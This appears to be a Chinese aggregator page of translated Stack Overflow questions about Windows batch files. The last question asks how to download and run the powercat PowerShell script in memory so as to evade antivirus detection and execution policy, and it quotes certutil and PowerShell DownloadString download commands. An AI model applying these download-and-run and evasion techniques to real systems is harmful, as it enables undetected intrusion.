相关疑难解决方法(0)

如何使批处理文件自行删除?

是否有可能使批处理文件删除其自身?

我试图让它执行另一个文件来删除它,但这没有用,是否有人知道我怎么做.我正在使用的批处理文件被提升.我的操作系统是Windows 7 32位.

windows batch-file windows-7 delete-file elevated-privileges

36
推荐指数
3
解决办法
5万
查看次数

找出正在运行的批处理文件的文件名

在Windows批处理文件中,我想知道这个批处理文件的完全限定路径名是什么.

我尝试了%0但这只给了我输入的命令(例如只有没有路径或扩展名的文件名).

windows batch-file

25
推荐指数
3
解决办法
4万
查看次数

使用Windows批处理文件的多行命令的单行

我试着理解批处理文件中单个命令行中的多个命令是如何工作的.

dir & md folder1 & rename folder1 mainfolder
Run Code Online (Sandbox Code Playgroud)

和其他情况类似的命令,但&&&.

dir && md folder1 && rename folder1 mainfolder
Run Code Online (Sandbox Code Playgroud)

1.这两种情况有什么区别?


我想问的其他事情:

单线batch.bat:

dir & md folder1 & rename folder1 mainfolder
Run Code Online (Sandbox Code Playgroud)

多线程batch.bat:

dir
md folder1
rename folder1 mainfolder
Run Code Online (Sandbox Code Playgroud)

2.这种单线程和多线程在批处理文件程序方面是否相同?


还有一件事我想知道:

3.如果我从main.bat调用其他批处理文件,它们是否独立运行?主批处理文件不等待其他批处理文件中的结束程序?怎么做?

windows command-line cmd batch-file simultaneous

13
推荐指数
1
解决办法
2万
查看次数

通过纯批处理将远程文件下载到内存中

在我的批处理脚本中,我试图远程下载和执行一个 powershell 脚本。这是网址:

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Run Code Online (Sandbox Code Playgroud)

我想将文件下载到内存中(不接触磁盘),原因如下:

  1. 它绕过AV检测
  2. 它绕过了 Powershell 执行策略,因此不需要powershell -nop -ep bypass导致 AV 检测的
  3. 不会抛出不必要的语法错误
  4. 您可以直接使用 .ps1 脚本中定义的函数

显然我可以使用certutil

certutil -urlcache -split -f <url>
Run Code Online (Sandbox Code Playgroud)

但我不希望该文件命中磁盘,这会导致 AV 检测。
使用其他语言(例如 PowerShell)可以轻松完成相同的事情:

(New-Object Net.WebClient).DownloadString($url)
Run Code Online (Sandbox Code Playgroud)

或者

(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()
Run Code Online (Sandbox Code Playgroud)

我知道批处理不是执行此操作的最佳语言,但有可能吗?(我想要纯批次

powershell cmd batch-file

8
推荐指数
1
解决办法
2546
查看次数